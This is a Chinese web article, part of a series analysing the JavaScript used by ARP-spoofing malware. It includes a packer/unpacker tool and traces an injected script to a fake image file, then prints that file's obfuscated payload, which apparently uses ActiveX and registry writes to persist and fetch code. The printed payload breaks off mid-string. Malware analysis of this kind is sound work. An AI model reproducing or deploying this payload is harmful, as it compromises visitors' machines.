分析:arp病毒利用的Javascript技术(3)

2008-02-23 08:09:47来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折


15|76|74|134|75|40|11|51|50|167|155|165|144|57|147|152|70|66|63|123
|eval'.split('|'),0,{}))
</script>

可以看出这段代码也是经过加密的了,特征为function(p,a,c,k,e,d),这种加密方法网上有很多例子,我就不细说了,附上解密代码:

//以下代码为网上搜索所得,版权归原作者所有
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
</head>
<body>
<script>
a=62;
function encode() {
var code = document.getElementById('code').value;
code = code.replace(/[\r\n] /g, '');
code = code.replace(/'/g, "\\'");
var tmp = code.match(/\b(\w )\b/g);
tmp.sort();
var dict = [];
var i, t = '';
for(var i=0; i<tmp .length; i ) {
if(tmp[i] != t) dict.push(t = tmp[i]);
}
var len = dict.length;
var ch;
for(i=0; i<len; i ) {
ch = num(i);
code = code.replace(new RegExp('\\b' dict[i] '\\b','g'), ch);
if(ch == dict[i]) dict[i] = '';
}
document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b' e(c) '\\\\b','g'),k[c]);return p}("
"'" code "'," a "," len ",'" dict.join('|') "'.split('|'),0,{}))";
}

function num(c) {
return(c<a ?'':num(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36));
}

function run() {
eval(document.getElementById('code').value);
}
function decode() {
var code = document.getElementById('code').value;
code = code.replace(/^eval/, '');
document.getElementById('code').value = eval(code);
}
</script>
<textarea id=code cols=80 rows=20>

</textarea><br />
<input type=button onclick=encode() value=编码/>
<input type=button onclick=run() value=执行/>
<input type=button onclick=decode() value=解码/>
</body>
</html>

经过解密后代码为:

info = "<script src=\"S368.jpg\"></script>"
document.write(info)

继续打开这个表面象图片的链接,呵呵,当然不会是MM图片了,查看源代码,找到如下代码:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('E n=1c;12 13(){}12 14(){1d{n=1e 1f("\\K\\l\\r\\8\\i\\3\\6\\j\\3\\6\\o\\3\\6\\9\\C\\3\\s\\K\\l\\r\\8\\i\\3\\6\\9\\x")}1g(e){Q}E a=n["\\15\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\R\\7\\q\\3\\v\\5\\4\\l","");1h(a["\\7\\8\\i\\3\\y\\L\\m"]("\\z\\f\\l\\4\\5\\9\\3\\y\\3")!=-1){Q}E b=n["\\15\\3\\4\\j\\3\\6\\o\\3\\6\\v\\5\\4\\l"]();b=b["\\f\\r\\s\\f\\4\\6"](0,2);b ="\\\\\\v\\6\\d\\k\\6\\5\\J\\x\\\\\\K\\l\\r\\8\\i\\3\\J\\x\\\\\\1i\\3\\s\\K\\l\\r\\8\\i\\3\\6\\\\\\A\\6\\d\\m\\7\\q\\3\\f\\\\\\r\\f\\3\\6\\h\\d\\8\\m\\7\\k\\9\\7\\8\\7";n["\\j\\3\\4\\p\\5\\q\\q\\s\\5\\h\\1j\\F\\8\\4\\6\\D"](1k,13);E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\7");E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\5");E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\s");E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\h");E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\i");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\7","\\S\\f\\h\\6\\7\\A\\4\\16\\o\\5\\6 \\f\\G\\8\\3\\C \\w\\h\\4\\7\\o\\3\\N\\L\\s\\T\\3\\h\\4\\t\\"\\C\\f\\h\\6\\7\\A\\4\\9\\f\\l\\3\\q\\q\\"\\u\\g\\o\\5\\6 \\d\\G\\8\\3\\C \\w\\h\\4\\7\\o\\3\\N\\L\\s\\T\\3\\h\\4\\t\\"\\f\\l\\3\\q\\q\\9\\5\\A\\A\\q\\7\\h\\5\\4\\7\\d\\8\\"\\u\\g\\o\\5\\6 \\5\\B\\s\\B\\h\\B\\i\\B\\3\\B\\m\\B\\k\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\5","\\H\\g\\f\\9\\U\\r\\8\\t\\"\\p\\V\\\\\\\\\\v\\6\\d\\k\\6\\5\\J\\x\\\\\\\\\\I\\8\\4\\3\\6\\8\\J\\x\\\\\\\\\\I\\F\\N\\v\\17\\L\\U\\F\\9\\F\\N\\F \\l\\4\\4\\A\\1l\\O\\O\\h\\1m\\x\\W\\7\\18\\O\\j\\X\\19\\1a\\O\\i\\1n\\C\\18\\Y\\Y\\W\\l\\4\\Y\\1o\\"\\B\\H\\B\\H\\u\\g\\f\\9\\U\\r\\8\\t\\"\\h\\z\\i\\9\\3\\y\\3 \\Z\\h \\4\\6\\3\\3 \\h\\V\\\\\\\\ \\Z\\m\\"\\B\\H\\B\\x\\u\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\s","\\f\\9\\j\\A\\3\\h\\7\\5\\q\\R\\d\\q\\i\\3\\6\\f\\t\\"\\1p\\D\\1q\\d\\h\\r\\z\\3\\8\\4\\f\\"\\u\\g\\s\\G\\s\\9\\f\\r\\s\\f\\4\\6\\7\\8\\k\\t\\H\\B\\s\\9\\q\\5\\f\\4\\I\\8\\i\\3\\y\\L\\m\\t\\"\\\\\\\\\\"\\u\\u\\g\\s\\P\\G\\"\\\\\\\\\\q\\d\\h\\5\\q\\f\\J\\x\\\\\\\\\\K\\3\\z\\A\\d\\6\\J\\x\\\\\\\\\\p\\d\\8\\4\\3\\8\\4\\9\\I\\F\\1r\\\\\\\\\\"\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\h","\\d\\9\\1s\\5\\z\\3\\j\\A\\5\\h\\3\\t\\s\\u\\g\\m\\d\\6\\t\\5\\G\\H\\g\\5\\S\\h\\9\\I\\4\\3\\z\\f\\t\\u\\9\\p\\d\\r\\8\\4\\g\\5\\P\\P\\u\\10 \\o\\5\\6 \\m\\G\\h\\9\\I\\4\\3\\z\\f\\t\\u\\9\\I\\4\\3\\z\\t\\5\\u\\9\\v\\5\\4\\l\\g\\m\\P\\G\\"\\\\\\\\\\j\\X\\19\\1a\\1b\\1t\\x\\1u\\W\\3\\y\\3\\"\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\i","\\H\\g\\4\\6\\D\\10\\f\\9\\F\\y\\3\\h\\t\\m\\u\\g\\11\\h\\5\\4\\h\\l\\t\\3\\u\\10\\11\\g\\11\\C\\7\\8\\i\\d\\C\\9\\h\\q\\d\\f\\3\\t\\u\\g\\S\\Z\\f\\h\\6\\7\\A\\4\\16");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\v\\6\\d\\4\\3\\h\\4","\\x");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\R\\7\\q\\3\\v\\5\\4\\l","\\h\\V\\\\\\C\\7\\8\\i\\d\\C\\f\\\\\\f\\D\\f\\4\\3\\z\\X\\1b\\\\\\z\\f\\l\\4\\5\\9\\3\\y\\3");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\v\\5\\6\\5\\z\\3\\4\\3\\6",b);n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\F\\y\\4\\17\\7\\f\\4","\\9\\6\\5\\6\\g\\9\\M\\7\\A\\g\\9\\3\\y\\3\\g\\9\\i\\d\\h\\g\\9\\h\\d\\z\\g\\9\\s\\7\\8\\g\\9\\k\\M\\g\\9\\M\\g\\9\\4\\5\\6\\g\\9\\5\\6\\T\\g\\9\\q\\M\\l\\g\\9\\f\\7\\4\\g\\9\\l\\1v\\y\\g\\9\\4\\k\\M\\g\\9\\i\\q\\q\\g\\9\\d\\h\\y\\g\\9\\o\\s\\y\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\1w\\f\\3\\6\\j\\3\\4","\\x");Q}14();',62,95,'|||x65|x74|x61|x72|x69|x6e|x2e||||x6f||x73|x3b|x63|

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:IE和Firefox在JavaScript方面的兼容性

下一篇:用Javascript实现表格单元格背景色鼠标响应